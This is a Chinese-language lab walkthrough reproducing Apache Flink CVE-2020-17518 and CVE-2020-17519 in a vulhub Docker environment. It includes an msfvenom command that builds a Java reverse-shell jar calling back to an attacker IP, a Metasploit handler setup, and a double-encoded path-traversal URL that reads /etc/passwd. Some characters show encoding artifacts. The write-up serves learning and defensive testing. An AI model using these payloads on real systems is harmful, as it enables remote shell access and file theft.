溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Apache Flink漏洞復(fù)現(xiàn)的示例分析

發(fā)布時(shí)間:2021-12-28 15:23:44 來源:億速云 閱讀:227 作者:小新 欄目:網(wǎng)絡(luò)管理

這篇文章主要介紹了Apache Flink漏洞復(fù)現(xiàn)的示例分析,具有一定借鑒價(jià)值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

簡(jiǎn)介

Apache Flink 是高效和分布式的通用數(shù)據(jù)處理平臺(tái),由Apache軟件基金會(huì)開發(fā)的開源流處理框架,其核心是用Java和Scala編寫的分布式流數(shù)據(jù)流引擎(簡(jiǎn)單來說,就是跟spark類似)。Flink 具有監(jiān)控 API,可用于查詢"正在運(yùn)行的jobs" 和 "最近完成的jobs" 的狀態(tài)和統(tǒng)計(jì)信息。該監(jiān)控 API 被用于 Flink 自己的dashboard,同時(shí)也可用于自定義監(jiān)控工具,默認(rèn)監(jiān)聽在8081端口。

本文涉及知識(shí)點(diǎn)實(shí)操練習(xí):網(wǎng)絡(luò)安全事件(“網(wǎng)絡(luò)安全事件”這門課程是由一些影響比較大的安全事件所模擬的測(cè)試環(huán)境組成。此課程不僅會(huì)添加以往的安全事件,而且還會(huì)緊跟時(shí)事,去添加最新的安全事件。讓大家在第一時(shí)間了解,并懂得怎么去保護(hù)自身安全為目的。)

Apache Flink漏洞復(fù)現(xiàn)的示例分析

該監(jiān)控 API 是 REST-ful API, 即接受 HTTP請(qǐng)求,并響應(yīng)JSON格式的數(shù)據(jù)。

監(jiān)控 API 中有一個(gè)API是 /jars/upload,其作用是將一個(gè)jar上傳到集群。該jar必須作為多部分?jǐn)?shù)據(jù)發(fā)送。確?!?Content-Type”標(biāo)頭設(shè)置為“ application / x-java-archive”,因?yàn)槟承﹉ttp庫默認(rèn)情況下不添加標(biāo)頭??梢酝ㄟ^curl上傳jar文件

'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" http://hostname:port/jars/upload'

概述

Flink 1.5.1引入了REST API,但其實(shí)現(xiàn)上存在多處缺陷,導(dǎo)致任意文件讀?。–VE-2020-17519)和任意文件寫入(CVE-2020-17518)漏洞。

CVE-2020-17518攻擊者利用REST API,可以修改HTTP頭,將上傳的文件寫入到本地文件系統(tǒng)上的任意位置(Flink 1.5.1進(jìn)程能訪問到的)。

CVE-2020-17519Apache Flink 1.11.0 允許攻擊者通過JobManager進(jìn)程的REST API讀取JobManager本地文件系統(tǒng)上的任何文件(JobManager進(jìn)程能訪問到的)。

影響版本

CVE-2020-17518

Apache:Apache Flink: 1.5.1 - 1.11.2

CVE-2020-17519

Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2

環(huán)境搭建

因?yàn)槭艿絻蓚€(gè)漏洞影響的版本都包含了1.11.2,所以統(tǒng)一使用這個(gè)版本進(jìn)行復(fù)現(xiàn)

此處利用vulhub的環(huán)境進(jìn)行復(fù)現(xiàn),新建docker-compose.yml

version: '2'

services:

flink:

image: vulhub/flink:1.11.2

command: jobmanager

ports:

- "8081:8081"

- "6123:6123"

使用docker-compose啟動(dòng)該環(huán)境,執(zhí)行以下命令會(huì)下載鏡像并以此鏡像啟動(dòng)一個(gè)容器,映射的端口為8081和6123

docker-compose up -d

訪問http://ip:8081

Apache Flink漏洞復(fù)現(xiàn)的示例分析

漏洞復(fù)現(xiàn)

任意文件上傳(CVE-2020-17518)復(fù)現(xiàn):

Apache Flink 1.5.1引入了REST處理程序,該處理程序允許通過經(jīng)過惡意修改的HTTP HEADER將上傳的文件寫入本地文件系統(tǒng)上的任意位置。

訪問http://ip:8081,找到Submit New Job的Add New上傳一個(gè)jar包,jar包可以在桌面新建一個(gè)壓縮文件,將zip后綴修改為jar即可,然后抓包

Apache Flink漏洞復(fù)現(xiàn)的示例分析

抓到的請(qǐng)求包如下:

Apache Flink漏洞復(fù)現(xiàn)的示例分析

將請(qǐng)求包發(fā)送到repeater模塊進(jìn)行修改,比如我這里是在/tmp目錄下新建一個(gè)文件,../是為了方便切換路徑,因?yàn)槲覀儾恢疆?dāng)前的路徑是什么,所以可以使用../切換到根目錄。

Apache Flink漏洞復(fù)現(xiàn)的示例分析

查看文件是否上傳成功

docker ps查看容器

Apache Flink漏洞復(fù)現(xiàn)的示例分析

進(jìn)入容器

docker exec -it CONTAINER ID /bin/bash

可以看到文件成功上傳

Apache Flink漏洞復(fù)現(xiàn)的示例分析

flink 本身是沒有鑒權(quán)的,并且它本身支持任意jar包上傳并執(zhí)行,所以可以通過上傳jar包getshell

生成jar格式的馬

lhost為kali的ip,lport為kali接收shell的端口

msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar

Apache Flink漏洞復(fù)現(xiàn)的示例分析

啟動(dòng)msf接收shell

msfconsole

use exploit/multi/handler

set payload java/shell_reverse_tcp

set LHOST 192.168.74.142

set LPORT 1234

exploit

將jar包上傳后點(diǎn)擊上傳的包然后Submit

Apache Flink漏洞復(fù)現(xiàn)的示例分析

獲取到shell

Apache Flink漏洞復(fù)現(xiàn)的示例分析

任意文件讀取(CVE-2020-17519)復(fù)現(xiàn):

Apache Flink 1.11.0中引入的更改(以及1.11.1和1.11.2中也發(fā)布)允許攻擊者通過JobManager進(jìn)程的REST接口讀取JobManager本地文件系統(tǒng)上的任何文件。訪問僅限于JobManager進(jìn)程可訪問的文件。

比如我這里讀取/etc/下的passwd文件,%252f為/的兩次url編碼

http://192.168.74.134:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

Apache Flink漏洞復(fù)現(xiàn)的示例分析

感謝你能夠認(rèn)真閱讀完這篇文章,希望小編分享的“Apache Flink漏洞復(fù)現(xiàn)的示例分析”這篇文章對(duì)大家有幫助,同時(shí)也希望大家多多支持億速云,關(guān)注億速云行業(yè)資訊頻道,更多相關(guān)知識(shí)等著你來學(xué)習(xí)!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI